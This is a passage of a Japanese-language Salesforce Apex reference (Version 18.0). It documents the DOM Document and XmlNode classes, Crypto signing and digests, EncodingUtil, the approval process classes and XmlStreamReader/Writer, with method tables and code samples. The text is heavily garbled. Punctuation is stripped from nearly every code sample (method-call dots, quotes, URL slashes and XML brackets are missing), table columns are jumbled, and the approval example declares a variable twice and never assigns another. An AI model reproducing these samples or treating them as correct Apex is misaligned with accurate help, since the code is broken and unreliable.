XML 名前空間はURI リファレンスで識別される名前の集合で XML ドキュメントで使用され要素の種類や属性名を一意に特定しますXML 名前空間の名前は修飾名として示される場合がありコロンを使用して名前を名前空間プレフィックスとローカルの部分に分割しますURI リファレンスに対応付けられたプレフィックスは名前空間を選択します管理された URI 名前空間とドキュメント独自の名前空間を組み合わせて一意の識別子を作成します

次の XML 要素にはhttpmynamespaceの名前空間と myprefixの接頭辞があります

ltsampleElement xmlnsmyprefix=httpmynamespace gt

次の例でXML 要素には 2 つの属性があります

bull 最初の属性にはdimensionのキーがあります値は 2ですbull 2 番目の属性にはhttpns1のキー名前空間があります値名前空間は httpns2キーは foo値は

barです

ltsquare dimension=2 ns1foo=ns2bar xmlnsns1=httpns1 xmlnsns2=httpns2 gt

メソッド

Documentクラスには次のメソッドがあります

説明戻り値の型引数名前

ドキュメントの上位レベルのルート要素を作成します

name引数には null値がありません

DomXmlNodeString name

String namespace

String prefix

createRootElement

参照 Version 180 | HTTP (RESTful)サービスクラス | 354

説明戻り値の型引数名前

namespace引数に null以外の値がありprefix

引数がnullである場合名前空間はデフォルトの名前空間として設定されます

prefix引数が nullである場合要素に自動的に接頭辞が割り当てられます自動プレフィックスの形式は nsiでiは番号を示します

prefix引数が である場合名前空間はデフォルトの名前空間として設定されます

名前空間についての詳細は「XML 名前空間 (ページ 355)」を参照してください

ドキュメントでこのメソッドを複数回呼び出すとドキュメントに指定できるルート要素は 1 つだけであるためエラーが発生します

ドキュメントの上位レベルのルート要素を返しますこのメソッドがnullを返す場合ルート要素はまだ作成されていません

DomXmlNodegetRootElement

xml引数で指定されたドキュメントの XML の表示を解析しドキュメントのロードします例

DomDocument doc = new Document()docload(xml)

VoidString xmlload

ドキュメントの XML 表示を文字列として返します

StringtoXmlString

Documentの例

サンプルではparseResponseDomに渡される url引数が次の XML 応答を返すと想定します

ltaddressgt ltnamegtKirk Stevensltnamegt ltstreet1gt808 State Stltstreet1gt ltstreet2gtApt2ltstreet2gtltcitygtPalookavilleltcitygt ltstategtPAltstategt ltcountrygtUSAltcountrygt ltaddressgt

次の例ではDOM クラスをy使用して GET要求の本文で返される XML 応答をどのように解析するかを示しています

public class DomDocument

要求の URL に渡します この例ではURL が上記の XML を応答の本文で返すと想定します publicvoid parseResponseDom(String url) Http h = new Http() HttpRequest req = new HttpRequest() url that returns the XML in the response body reqsetEndpoint(url) reqsetMethod(GET)HttpResponse res = hsend(req) DomDocument doc = resgetBodyDocument()

このドキュメントのルート要素を返しますDomXMLNode address = docgetRootElement()

String name = addressgetChildElement(name null)getText() String state =addressgetChildElement(state null)getText() 特定の要素を出力します Systemdebug(Name

参照 Version 180 | HTTP (RESTful)サービスクラス | 355

+ name) Systemdebug(State + state)

または子要素をループします アドレスのすべての要素を出力します for(DomXMLNode child addressgetChildElements()) Systemdebug(childgetText())

XmlNodeクラス

XmlNodeクラスを使用して XML ドキュメントのノードを処理しますDOM はXML ドキュメントをノードの階層として示します分岐ノードで子ノードがあるノードもあれば葉ノードで子ノードがないものもあります

ノードの種類

Apex で使用できるさまざまな種類の DOM ノードがありますXmlNodeTypeはこうした様々な種類の列挙です値は次のとおりです

bull COMMENTbull ELEMENTbull TEXT

XML ドキュメントでは要素とノードを区別することが重要です次にXML の簡単な例を示します

ltnamegt ltfirstNamegtSuvainltfirstNamegt ltlastNamegtSinghltlastNamegt ltnamegt

この例にはnamefirstNameおよび lastNameの 3 つの XML 要素が含まれていますノードはnamefirstNameおよび lastNameの 3 つの要素ノードSuvainおよび Singhの 2 つのテキストノード合計 5 つのノードが含まれています要素ノード内のテキストは個別のテキストノードと見なされます

すべての enum で共有されるメソッドの詳細は「Enum メソッド (ページ 237)」を参照してください

メソッド

XmlNodeクラスには次のメソッドがあります

説明戻り値の型引数名前

このノードの子要素ノードを作成します

name引数には null値がありません

DomXmlNodeString name

String namespace

addChildElement

String prefix namespace引数にnull以外の値がありprefix

引数がnullである場合名前空間はデフォルトの名前空間として設定されます

prefix引数がnullである場合要素に自動的に接頭辞が割り当てられます自動プレフィックスの形式は nsiでiは番号を示します

prefix引数がである場合名前空間はデフォルトの名前空間として設定されます

このノードの子コメントノードを作成しますtext引数には null値がありません

DomXmlNodeString textaddCommentNode

参照 Version 180 | HTTP (RESTful)サービスクラス | 356

説明戻り値の型引数名前

このノードの子テキストノードを作成しますtext引数には null値がありません

DomXmlNodeString textaddTextNode

指定された keyおよび keyNamespaceの属性値を返します

StringString key

String keyNamespace

getAttribute

このノードの属性の数を返しますIntegergetAttributeCount

指定された indexの属性キーを返しますインデックス値は 0 から始まります

StringInteger indexgetAttributeKeyAt

指定された indexの属性キー名前空間を返します詳細は「XML 名前空間 (ページ355)」を参照してください

StringInteger indexgetAttributeKeyNsAt

指定された keyおよび keyNamespaceの属性値を返します

StringString key

String keyNamespace

getAttributeValue

指定された keyおよび keyNamespaceの属性値の名前空間を返します詳細は「XML 名前空間(ページ 355)」を参照してください

StringString key

String keyNamespace

getAttributeValueNs

指定された nameおよび namespaceを含むノードの子要素ノードを返します

DomXmlNodeString name

String namespace

getChildElement

このノードの子要素ノードを返します詳細は「ノードの種類 (ページ 357)」を参照してください

DomXmlNode[]getChildElements

このノードの子を返します詳細は「ノードの種類 (ページ 357)」を参照してください

DomXmlNode[]getChildren

要素の名前を返しますStringgetName

要素の名前空間を返します詳細は「XML 名前空間 (ページ 355)」を参照してください

StringgetNamespace

指定されたprefixの要素の名前空間を返します詳細は「XML 名前空間 (ページ355)」を参照してください

StringString prefixgetNamespaceFor

ノードの種類を返しますDomXmlNodeTypegetNodeType

要素の親を返しますDomXmlNodegetParent

指定された namespaceの接頭辞を返しますnamespace引数には null値がありません詳細

StringString namespacegetPrefixFor

は「XML 名前空間 (ページ355)」を参照してください

このノードのテキストを返しますStringgetText

参照 Version 180 | HTTP (RESTful)サービスクラス | 357

説明戻り値の型引数名前

指定された keyおよび keyNamespaceの属性を削除します成功した場合は true失敗した場合

BooleanString key

String keyNamespace

removeAttribute

は falseを返します詳細は「XML 名前空間(ページ 355)」を参照してください

指定された childNodeを削除しますBooleanDomXmlNodechildNode

removeChild

key属性値を設定しますVoidString key

String value

setAttribute

key属性値を設定します詳細は「XML 名前空間 (ページ 355)」を参照してください

VoidString key

String value

setAttributeNs

String keyNamespace

StringvalueNamespace

指定された prefixの namespaceを設定します詳細は「XML 名前空間 (ページ355)」を参照してください

VoidString prefix

String namespace

setNamespace

XmlNodeの例

XmlNodeメソッドの使用についての基本的な例は「Documentクラス (ページ 354)」を参照してください

次の例は名前空間の使用について示します

public class DomNamespaceSample public void sendRequest(String endpoint) 要求エンベロープを作成します DOMDocument doc = new DOMDocument()

String soapNS = httpschemasxmlsoaporgsoapenvelope String xsi =httpwwww3org2001XMLSchema-instance String serviceNS =httpwwwmyservicecomservicesMyService

domXmlNode envelope = doccreateRootElement(Envelope soapNS soapenv)envelopesetNamespace(xsi xsi) envelopesetAttributeNS(schemaLocation soapNS xsinull)

domXmlNode body = envelopeaddChildElement(Body soapNS null)

bodyaddChildElement(echo serviceNS req) addChildElement(category serviceNSnull) addTextNode(classifieds)

Systemdebug(doctoXmlString())

要求を送信します HttpRequest req = new HttpRequest() reqsetMethod(POST)reqsetEndpoint(endpoint) reqsetHeader(Content-Type textxml)

reqsetBodyDocument(doc)

Http http = new Http() HttpResponse res = httpsend(req)

SystemassertEquals(200 resgetStatusCode())

参照 Version 180 | HTTP (RESTful)サービスクラス | 358

domDocument resDoc = resgetBodyDocument()

envelope = resDocgetRootElement()

String wsa = httpschemasxmlsoaporgws200408addressing

domXmlNode header = envelopegetChildElement(Header soapNS) Systemassert(header =null)

String messageId = headergetChildElement(MessageID wsa)getText()

Systemdebug(messageId) Systemdebug(resDoctoXmlString()) Systemdebug(resDoc)Systemdebug(header)

SystemassertEquals( httpschemasxmlsoaporgws200408addressingroleanonymousheadergetChildElement( ReplyTo wsa)getChildElement(Address wsa)getText())

SystemassertEquals( envelopegetChildElement(Body soapNS) getChildElement(echoserviceNS) getChildElement(something httpsomethingelse) getChildElement(whatever serviceNS)getAttribute(bb null) cc)

SystemassertEquals(classifieds envelopegetChildElement(Body soapNS)getChildElement(echo serviceNS) getChildElement(category serviceNS)getText())

Cryptoクラス

一般的に以下のステップで接続を確立しようと試みます

1 クライアントアプリケーションへチャレンジトークンを返却します2 クライアントアプリケーションは認可ヘッダーに認可チャレンジレスポンスをしてサーバに対して送り返

されるシグニチャーをコンピュートするためにトークンとプラベートキーと特定のアルゴリズム(例えばAmazon WebServices用のHmac-SHA1またはGoogleの AuthSub interface用のRSA-SHA1 ) を使います

同様に特定アルゴリズム 例えばMD5またはSHA1 を使った認証のダイジェストを必要とするサービスもあります

続く Cryptoクラス内のユーティリティー方式はダイジェストメッセージ認証コードを例えばGoogleのAuthSub interface named gdataまたはAmazon WebSer vices (AWS)などの暗号化の必要な外部サービスに認証ヘッダーとして送る署名の作成を可能にします

説明戻り値の型引数名前

供給されたインプットストリングとアルゴリズム名に基づいた安定した一方向のハッシュダイジェストを計算し

BlobStringalgorithmName

Blob input

generateDigest

ます algorithmNameの有効な値は MD5SHA1などです

プライベートキーと指定アルゴリズムを使ってインプットストリング用のメッセージ認証コード(MAC)を計算し

BlobStringalgorithmName

generateMac

ますalgorithmName用の唯一の有効値はHmacSHA1です

privateKeyの値はデコード形式である必要はありません 値は 4 KB を超えることはできません

Blob inputBlob privateKey

ランダムなIntegerを返しますIntegergetRandomInteger

参照 Version 180 | HTTP (RESTful)サービスクラス | 359

説明戻り値の型引数名前

ランダムなLongを返しますLonggetRandomLong

供給されたプライベートキーと指定アルゴリズムを使ってインプットストリング用の固有のデジタル署名 を計

BlobStringalgorithmName

sign

算しますalgorithmName用の有効値はRSA-SHA1またBlob input はRSAです両方の値とも同じアルゴリズムを表しま

privateKeyの値は EncodingUtil base64Decodeメソッドを使用してデコードしRSA の PKCS 8 (12)

Blob privateKey

Private-Key Information Syntax Standard 形式でなければなりません 値は 4 KB を超えることはできません

次のスニペットは宣言と初期化の例を示します

String algorithmName = RSA String key =pkcs8 format private key Blob privateKey =EncodingUtilbase64Decode(key) Blob input =BlobvalueOf(12345qwerty)Cryptosign(algorithmName input privateKey)

以下の例はSalesforcecom と Amazon WebServicesの統合を示しています

public class HMacAuthCallout

public void testAlexaWSForAmazon()

日付形式 yyyy-MM-ddTHHmmssSSSZ DateTime d = Systemnow() String timestamp = +dyear() + - + dmonth() + - + dday() + T + dhour() + + dminute() + +dsecond() + + dmillisecond() + Z String timeFormat = dformatGmt(timestamp)

String urlEncodedTimestamp = EncodingUtilurlEncode(timestamp UTF-8) String action =UrlInfo String inputStr = action + timeFormat String algorithmName = HMacSHA1 Blobmac = CryptogenerateMac(algorithmName BlobvalueOf(inputStr)BlobvalueOf(your_signing_key)) String macUrl =EncodingUtilurlEncode(EncodingUtilbase64Encode(mac) UTF-8)

String urlToTest = amazoncom String version = 2005-07-11 String endpoint =httpawisamazonawscom String accessKey = your_key

HttpRequest req = new HttpRequest() reqsetEndpoint(endpoint + AWSAccessKeyId= + accessKey+ ampAction= + action + ampResponseGroup=RankampVersion= + version + ampTimestamp= +urlEncodedTimestamp + ampUrl= + urlToTest + ampSignature= + macUrl)

reqsetMethod(GET) Http http = new Http() try HttpResponse res = httpsend(req)Systemdebug(STATUS+resgetStatus()) Systemdebug(STATUS_CODE+resgetStatusCode())Systemdebug(BODY +resgetBody()) catch(SystemCalloutException e) Systemdebug(ERROR + e)

EncodingUtilクラス

URLストリングをエンコードしデコードしストリングを16進法のフォーマットに変換するにはEncodingUtil

クラスの方法を使ってください

参照 Version 180 | HTTP (RESTful)サービスクラス | 360

説明戻り値の型引数名前

Base64のエンコードされたStringをその標準フォームを表しているBlob に変換します

BlobString inputStringbase64Decode

Blobをその標準フォームを表しているエンコードされなていないStringに変換します

StringBlob inputBlobbase64Encode

inputStringの16進法(16進数)表現を戻します この方法はHTTPダイジェスト認証(RFC2617)のためにクライア

StringBlob inputStringconvertToHex

ント応答(例えばHA1またはHA2)を計算するために使用可能です

特定のエンコード体系を使っているapplicationx-www-form-urlencodedフォーマット例

StringString inputStringStringencodingScheme

urlDecode

えばUTF-8をデコードしますどの文字がxyフォームの連続シ-ケンスによって表されているかを決定するためにこの方法は供給されたエンコーディング体系を使います フォーマットについての詳細はHypertext MarkupLanguage - 20内のThe form-urlencoded Media Typeを参照してください

特定のエンコード体系を使っているapplicationx-www-form-urlencodedフォーマット例

StringString inputStringStringencodingScheme

urlEncode

えばUTF-8にエンコードします不確かな文字用のバイトを得るためにこの方法は供給されたエンコーディング体系を使いますフォーマットについての詳細はHypertextMarkup Language - 20内のThe form-urlencoded Media Typeを参照してください

String encoded = EncodingUtilurlEncode(urlUTF-8)

メモ EncodingUtilを使って非ASCII文字を含む文書をSalesforcecomに移動可能ですSalesforcecomから文書をダウンロードすることも可能ですその場合API query呼び出しを使って文書のIDを問い合わせIDによって文書を要求してください

HTTPダイジェスト認証(RFC2617)用のクランアント応答を計算するためのconvertToHexの使用方法を以下に例示します

global class SampleCode static testmethod void testConvertToHex() String myData = ATest String Blob hash = CryptogenerateDigest(SHA1BlobvalueOf(myData)) String hexDigest= EncodingUtilconvertToHex(hash) Systemdebug(hexDigest)

Apex 承認プロセスクラスSalesforcecomでレコードを承認する場合に組織で使用できる自動化されたプロセスです承認プロセスでは承認するレコードの条件と各承認ステップの承認者を指定します各承認ステップはその承認プロセスの対象

参照 Version 180 | Apex 承認プロセスクラス | 361

レコードすべてに適用することも特定の条件を満たすレコードのみに適用することもできます承認プロセスではレコードの承認却下撤回または承認申請時に実施するアクションも指定します

Apex を使用し次のようにプログラム的承認プロセスを作成して既存の承認プロセスを拡張することができます

bull Apex プロセスクラス 承認要求を作成しこれらの要求の結果を処理します詳細は以下を参照してください

- ProcessRequestクラス (ページ 363)- ProcessResultクラス (ページ 363)- ProcessSubmitRequestクラス (ページ 364)- ProcessWorkitemRequestクラス (ページ 365)

bull Approval 名前空間の processメソッド 承認要求を送信し既存の承認要求を承認または却下します詳細は「承認メソッド」 (ページ 260)を参照してください

承認プロセスの詳細はSalesforcecom オンラインヘルプの「認証プロセスの概要」 を参照してください

Apex 承認プロセスの例

次のサンプルコードでは最初に承認のレコードを送信しその後要求を承認しますこの例では承認プロセスを取引先に設定する必要があります

public class testApproval 取引先を挿入

Account a = new Account(Name=Test annualRevenue=1000)

insert a

取引先の承認要求を作成 ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest() req1setComments(Submitting request for approval)req1setObjectId(aid)

アカウントの承認要求を送信 ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest() req1setObjectId(aid)

結果を確認 Systemassert(resultisSuccess())

SystemassertEquals(保留中 resultgetInstanceStatus() インスタンスの状態+resultgetInstanceStatus())

送信された要求を承認

最初に新しく作成された項目の ID を取得 ListltIdgt newWorkItemIds = resultgetNewWorkitemIds()

新しい ProcessWorkitemRequest オブジェクトをインスタンス化して投入 ApprovalProcessWorkitemRequestreq2 = new ApprovalProcessWorkitemRequest() req2setComments(要求を承認)req2setAction(承認) req2setNextApproverIds(new Id[] UserInfogetUserId())

新しく作成された項目の ID を使用して処理する項目を指定 req2setWorkitemId(newWorkItemIdsget(0))

承認要求を送信 ApprovalProcessResult result2 = Approvalprocess(req2)

結果を確認 Systemassert(result2isSuccess() 結果の状態+result2isSuccess())

参照 Version 180 | Apex 承認プロセスクラス | 362

SystemassertEquals(承認済み result2getInstanceStatus() インスタンスの状態+result2getInstanceStatus())

ProcessRequestクラス

ProcessRequestクラスは ProcessSubmitRequestクラスおよび ProcessWorkitemResultクラスの親クラスですProcessRequestクラスを使用していずれかのクラスのオブジェクトを処理できる汎用 Apex スクリプトを作成します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessRequest pr = new ApprovalProcessRequest()

ProcessRequestクラスには次のメソッドがあります

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

ProcessResultクラス

承認を求めてレコードを送信した後ProcessResultクラスを使用して承認プロセスの結果を処理します

ProcessResult オブジェクトは processメソッドによって返されますこのクラスのインスタンスを作成するときApproval 名前空間を指定する必要があります例

ApprovalProcessResult result = Approvalprocess(req1)

ProcessResultクラスには次のメソッドがありますこのメソッドは引数をとりません

説明戻り値の型名前

処理されるレコードの IDStringgetEntityId

エラーが発生した場合エラーコードや記述子など1 つまたは複数のデータベースエラーオブジェクト

DatabaseError[]getErrors

の配列を返します詳細は「データベースエラー

参照 Version 180 | Apex 承認プロセスクラス | 363

説明戻り値の型名前

オブジェクトメソッド」 (ページ277)を参照してください

承認を得るために送信される承認プロセスの IDStringgetInstanceId

現在の承認プロセスの状態有効な値はApprovedRejectedRemoved または Pending です

StringgetInstanceStatus

承認プロセスに送信された新しい項目の ID です0件または 1 件の承認プロセスがあります

ID[]getNewWorkitemIds

承認プロセスが正常に完了するとTrue が失敗すると False が設定されます

BooleanisSuccess

ProcessSubmitRequestクラス

ProcessSubmitRequestクラスを使用し承認を要求してレコードを送信します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessSubmitRequest psr = new ApprovalProcessSubmitRequest()

次のメソッドはProcessSubmitRequestクラス独自のものですこれらのメソッドに加えProcessSubmitRequestクラスは親クラス ProcessRequest のすべてのメソッドにアクセスできます

説明戻り値の型引数名前

承認を得るために送信されるレコードの IDを返しますたとえば取引先連絡先カスタムオブジェクトレコードを返します

StringgetObjectId

承認を得るために送信されるレコードの IDを設定しますたとえば取引先連絡先

VoidString IdsetObjectId

カスタムオブジェクトレコードを指定します

ProcessSubmitRequestクラスはProcessRequestと次のメソッドを共有します

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

参照 Version 180 | Apex 承認プロセスクラス | 364

説明戻り値の型引数名前

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

ProcessWorkitemRequestクラス

ProcessWorkitemRequestクラスを使用して送信後に承認要求を処理します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessWorkitemRequest pwr = new ApprovalProcessWorkitemRequest()

次のメソッドはProcessWorkitemRequestクラス独自のものですこれらのメソッドに加えProcessWorkitemRequestクラスは親クラス ProcessRequest のすべてのメソッドにアクセスできます

説明戻り値の型引数名前

すでに承認要求と関連するアクションの種類を返します有効な値はApproveRejectまたは Removed です

StringgetAction

承認却下または削除されるプロセスの承認要求の ID を返します

StringgetWorkitemId

承認要求を処理するために実行するアクションの種類を設定します有効な値は

VoidString ssetAction

ApproveRejectまたは Removed ですRemoved を指定できるのはシステム管理者だけです

承認却下または削除される承認要求のID を設定します

VoidString IdsetWorkitemId

ProcessWorkitemRequestクラスはProcessRequestと次のメソッドを共有します

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

参照 Version 180 | Apex 承認プロセスクラス | 365

説明戻り値の型引数名前

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

XmlStreamクラスXmlStreamメソッドを使ってXMLストリングの読み書きを行います

bull XmlStreamReaderクラスbull XmlStreamWriterクラス

XmlStreamReaderクラス

StAXからのXMLStreamReaderユーティリティークラスに類似してXmlStreamReaderクラスはXMLデータを転送読み込み専用アクセス可能にしますデータを XML から Pull し余分なイベントをスキップします

以下のコードの断片は新しいXmlStreamReaderオブジェクトのインスタンス化の方法を示しています

String xmlString = ltbooksgtltbookgtMy BookltbookgtltbookgtYour BookltbookgtltbooksgtXmlStreamReader xsr = new XmlStreamReader(xmlString)

これらのメソッドは以下のイベント上で作用します

bull 属性XMLイベントは特定のエレメントのために指定されます例えば要素ltbookgtは属性titleltbooktitle=Salesforcecom for Dummiesgtを持っています

bull 開始エレメントXMLイベントはエレメント用の開始タグです例 ltbookgtbull 終了エレメントXMLイベントはエレメント用の終了タグです例 ltbookgtbull 開始ドキュメントXMLイベントはドキュメント用の開始タグですbull 終了ドキュメントXMLイベントはドキュメント用の終了タグですbull エンティティ参照はコード内のエンティティ参照です例えばENTITY title = My Book Title

bull 文字XMLイベントはテキスト文字ですbull コメントXMLイベントはXMLファイル内のコメントです

nextとhasNextメソッドを使ってXMLデータ上で繰り返してくださいgetNamespaceメソッドのようなget

メソッドを使ったXML内のデータにアクセスしてください

メモ Apex内のXmlStreamReaderクラスはJava内のその対応物に基づいています詳細はhttpsstax-utilsdevjavanetnonavjavadocapijavaxxmlstreamXMLStreamReaderhtml参照

以下のメソッドはXMLファイルの読み取りをサポートしています

説明戻り値の型引数名前

開始エレメント上の属性のナンバーを返すこのメソッドは開始エレメントまたは属性XMLイ

IntegergetAttributeCount

参照 Version 180 | XmlStreamクラス | 366

説明戻り値の型引数名前

ベント上でのみ有効ですこの値は名前空間定義を除外します属性XMLイベント用の属性のナンバーはゼロで始まります

特定のインデックスで属性のローカル名を返します名前がない場合空白の文字列が返されま

StringInteger indexgetAttributeLocalName

すこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性の名前空間URI を返します名前空間がない場合ゼロが返されます

StringInteger indexgetAttributeNamespace

このメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスでこの属性のプレフィックスを返しますプレフィックスがない場合ゼロが

StringInteger indexgetAttributePrefix

返されますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性のXMLタイプを返します例えばidは属性タイプですこのメソッ

StringInteger indexgetAttributeType

ドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のURIにて指定されたlocalName内の属性の値を返します値が見つからない場合ゼロを返し

StringStringnamespaceURI

String localName

getAttributeValue

ますlocalNameの値を指定する必要がありますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性の値を返しますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

StringInteger indexgetAttributeValueAt

XmlTagはカーソルが指し示しているXMLイベントのタイプを示している定数の列挙です

SystemXmlTaggetEventType

bull ATTRIBUTE

bull CDATA

bull CHARACTERS

bull COMMENT

bull DTD

bull END_DOCUMENT

bull END_ELEMENT

bull ENTITY_DECLARATION

bull ENTITY_REFERENCE

bull NAMESPACE

bull NOTATION_DECLARATION

bull PROCESSING_INSTRUCTION

bull SPACE

参照 Version 180 | XmlStreamクラス | 367

説明戻り値の型引数名前

bull START_DOCUMENT

bull START_ELEMENT

現在のイベントのローカル名を返します開始または終了エレメントXMLイベントに関しては

StringgetLocalName

現在のエレメントのローカル名を返しますエンティティ参照XMLイベントに関してはエンティティ名を返します現在のXMLイベントは開始エレメント終了エレメントまたはエンティティ参照でなければなりません

カーソルの現在位置を返却します位置が不明な場合-1が返されます位置情報はnextメソッドが呼びだれると無効になります

StringgetLocation

現在のイベントが開始エレメントまたは終了エレメントの場合このメソッドはプレフィックス

StringgetNamespace

のURIまたはデフォルトの名前空間を戻しますXMLイベントがプレフィックスを持っていない場合ゼロを戻します

開始エレメントまたは終了エレメントに宣言された名前空間の数を戻しますこのメソッドは開

IntegergetNamespaceCount

始エレメント終了エレメントまたは名前空間XMLイベント上でのみ有効です

インデックスで宣言された名前空間のプレフィックスを戻します これがデフォルトの名前空間

StringInteger indexgetNamespacePrefix

宣言の場合ゼロを戻しますこのメソッドは開始エレメント終了エレメントまたは名前空間XMLイベント上でのみ有効です

特定のプレフィックス用のURIを戻します戻されるURIはプロセッサの現状によります

StringString PrefixgetNamespaceURI

インデックスで宣言された名前空間のURIを戻します このメソッドは開始エレメント終了

StringInteger IndexgetNamespaceURIAt

エレメントまたは名前空間XMLイベント上でのみ有効です

処理方法のデータセクションを返しますStringgetPIData

処理方法のターゲットセクションを返しますStringgetPITarget

イベントがプレフィックスを持っていない場合現在のXMLイベントのプレフィックスまたはゼロが戻されます

StringgetPrefix

参照 Version 180 | XmlStreamクラス | 368

説明戻り値の型引数名前

文字列としてXMLイベントの現在地が戻されます異なるイベントに対する有効値は以下の通りです

StringgetText

bull 文字XMLイベントの文字列値bull コメントの文字列値bull エンティティ参照のための交換値例えば

getTextが以下のXML断片を読むとすると

ltENTITY Title Salesforce ForDummies gt ]gt ltfoo a=bgtNameampTitleltfoogt

getTextメソッドはampTitleではなくSalesforce for Dummiesを戻します

bull CDATAセクションの文字列値bull 空白XMLイベントの文字列値bull DTDの内部サブセットの文字列値

XML宣言において指定されたXMLバージョンを戻します何も宣言されていない場合ゼロを戻します

StringgetVersion

現在のXMLイベントに名前があある場合Trueを戻しますその他の場合はFalseを戻します

BooleanhasName

このメソッドは開始エレメントまたは終了エレメントのXMLイベントでのみ有効です

さらにXMLイベントがある場合Trueを戻しない場合はFalseを戻します現在のXMLイベ

BooleanhasNext

ントが終了ドキュメントの場合このメソッドはfalseを戻します

現在のイベントがテキストの場合Trueを戻しその他の場合Falseを戻します文字エンティ

BooleanhasText

ティ参照コメントおよび空白のXMLイベントはテキストを持っています

カーソルが文字データXMLイベントを指し示している場合Trueを戻します該当しない場合はFalse を返します

BooleanisCharacters

カーソルが終了タグを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisEndElement

カーソルが開始タグを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisStartElement

カーソルがすべての白い空白を含む文字データXMLイベントを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisWhiteSpace

参照 Version 180 | XmlStreamクラス | 369

説明戻り値の型引数名前

次のXMLイベントを読み取りますプロセッサは単一ブロック内のすべての連続文字データを

Integernext

返すかもしれないかそれをいつくかのチャンクに分割するかもしれませんイベントタイプを示す整数を返します

isWhiteSpaceメソッドがTrueを返す 白空白コメントまたは処理命令XMLイベントを開始

IntegernextTag

エレメントまたは終了エレメントに到達するまでスキップしますXMLイベント用のイベントを返しますエレメントが白空白コメント処理命令開始エレメントまたは終了エレメント以外に遭遇した場合このメソッドはエラーを出します

returnAsSingleBlockに対してTrueをしてした場合開始エレメントから最初の終了エレメント

VoidBooleanreturnAsSingleBlock

setCoalescing

または次のエレメントのどちらか先に来る方にテキストは単一のブロック内で返されますFalseとして指定した場合はパーサーは複数のブロック内でテキストを返します

isNamespaceAwareに対してTrueを指定した場合パーサーは名前空間を認識しますFalseとして

VoidBooleanisNamespaceAware

setNamespaceAware

指定した場合パーサーは認識しません規定値はTrueです

XmlStreamReaderに指定された入力XMLの長さを返します

StringtoString

XmlStreamReaderの例

以下の例のようにXML文字列は処理されます

public class XmlStreamReaderDemo

Create a class Book for processing public class Book String name String author

Book[] parseBooks(XmlStreamReader reader) Book[] books = new Book[0]while(readerhasNext())

Start at the beginning of the book and make sure that it is a book if(readergetEventType() == XmlTagSTART_ELEMENT) if (Book == readergetLocalName())

Pass the book to the parseBook method (below) Book book = parseBook(reader)booksadd(book) readernext() return books

Parse through the XML deterimine the auther and the characters BookparseBook(XmlStreamReader reader) Book book = new Book() bookauthor =readergetAttributeValue( author) while(readerhasNext()) if (readergetEventType()== XmlTagEND_ELEMENT) break else if (readergetEventType() == XmlTagCHARACTERS) bookname = readergetText() readernext() return book

参照 Version 180 | XmlStreamクラス | 370

Test that the XML string contains specific values static testMethod void testBookParser()

XmlStreamReaderDemo demo = new XmlStreamReaderDemo()

String str = ltbooksgtltbook author=ManojgtFoo barltbookgt + ltbookauthor=MystigtBazltbookgtltbooksgt

XmlStreamReader reader = new XmlStreamReader(str) Book[] books = demoparseBooks(reader)

Systemdebug(bookssize())

for (Book book books) Systemdebug(book)

XmlStreamWriterクラス

StAXからのXMLStreamReaderユーティリティークラスに類似してXMLStreamWriterクラスはXMLデータの書き込みを可能にします例えばプログラムに基づいてXMLドキュメントを構築するためにXmlStreamWriter

を使用可能ですそれからHTTP Classesを使ってドキュメントを外部サーバに送ります

以下のコードの断片は新しいXmlStreamWriterのインスタンス化の方法を示しています

XmlStreamWriter w = new XmlStreamWriter()

メモ Apex内のXmlStreamWriterクラスはJava内のその対応物に基づいています詳細はhttpsstax-utilsdevjavanetnonavjavadocapijavaxxmlstreamXMLStreamWriterhtml参照

以下のメソッドはXMLファイルの書き込みのサポートに利用可能です

説明戻り値の型引数名前

XmlStreamWriterのインスタンスを閉じそれに関連したリソースを解放します

Voidclose

XmlStreamWriterインスタンスで書かれたXMLを返します

StringgetXmlString

特定の URI をデフォルトの名前空間にバインドしますこの URI は現在の

VoidString URIsetDefaultNamespace

START_ELEMENT ndash END_ELEMENT ペアの範囲でバインドします

ストリームを出力するために属性を書き込みますlocalNameは属性名を指定します

VoidString prefix

String namespaceURI

writeAttribute

String localName

String value

ストリームを出力するために指定されたCDataを書き込みます

VoidString datawriteCData

ストリームを出力するために指定されたテキストを書き込みます

VoidString textwriteCharacters

参照 Version 180 | XmlStreamクラス | 371

説明戻り値の型引数名前

ストリームを出力するために指定されたコメントを書き込みます

VoidString datawriteComment

ストリームを出力するために指定された名前空間を書き込みます

VoidString namespaceURIwriteDefaultNamespace

